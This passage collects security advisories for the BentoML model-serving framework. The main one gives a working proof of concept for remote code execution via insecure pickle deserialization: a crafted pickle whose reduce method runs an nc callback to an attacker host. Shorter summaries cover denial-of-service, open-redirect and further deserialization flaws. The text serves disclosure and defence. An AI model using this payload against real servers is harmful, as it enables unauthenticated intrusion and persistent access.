can set it to {"format": "default"} and payload.data is the value of request.body which is the payload from malicious class P in my request, which will trigger reduce method and then execute arbitrary commands (for my example is the curl command) https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/runner/container.py#L411-L416 def frompayload( cls, payload: Payload, ) -> ext.PdDataFrame: if payload.meta["format"] == "default": return pickle.loads(payload.data) https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/runner/container.py#L306-L312 def frompayload( cls, payload: Payload, ) -> ext.NpNDArray: format = payload.meta.get("format", "default") if format == "default": return pickle.loads(payload.data) Impact In the above Proof of Concept, I have shown how the attacker can execute command id and send the output of the command to the outside. By replacing id command with any OS commands, this insecure deserialization in BentoML's runner server will grant the attacker the permission to gain the remote shell on the server and injecting backdoors to persist access.
Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.
Details It exists an unsafe code segment in serde.py: Python def deserializevalue(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.
PoC Environment:
- Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu
1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.
1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml
1.2 Define APIs in a service.py file (Server host: 10.98.36.123) : Python from future import annotations
import bentoml
@bentoml.service( resources={"cpu": "4"} ) class Summarization: def init(self) -> None: import torch from transformers import pipeline
device = "cuda" if torch.cuda.isavailable() else "cpu" self.pipeline = pipeline('summarization', device=device)
@bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summarytext'] for item in results]
1.3 Run the service code (Server host: 10.98.36.123) : Bash pip install torch transformers # additional dependencies for local run
bentoml serve
2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : nc -lvvp 1234
3. Send maliciously crafted request (Attack host: 10.98.36.121) : Python import pickle import os import requests
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
class Evil: def reduce(self): return(os.system, ('nc 10.98.36.121 1234',))
payload = pickle.dumps(Evil())
requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. !nc
Impact Remote Code Execution (RCE).
In bentoml/bentoml version 1.3.9, the /login endpoint of the newly integrated Gradio app is vulnerable to a Denial of Service (DoS) attack. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction.
A deserialization vulnerability exists in BentoML's runner server in bentoml/bentoml versions <=1.3.4.post1. By setting specific parameters, an attacker can execute unauthorized arbitrary code on the server, causing severe harm. The vulnerability is triggered when the args-number parameter is greater than 1, leading to automatic deserialization and arbitrary code execution.
BentoML version v1.3.4post1 is vulnerable to a Denial of Service (DoS) attack. The vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. This causes the server to continuously process each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the service.
An open redirect vulnerability in bentoml/bentoml v1.3.9 allows a remote unauthenticated attacker to redirect users to arbitrary websites via a specially crafted URL. This can be exploited for phishing attacks, malware distribution, and credential theft.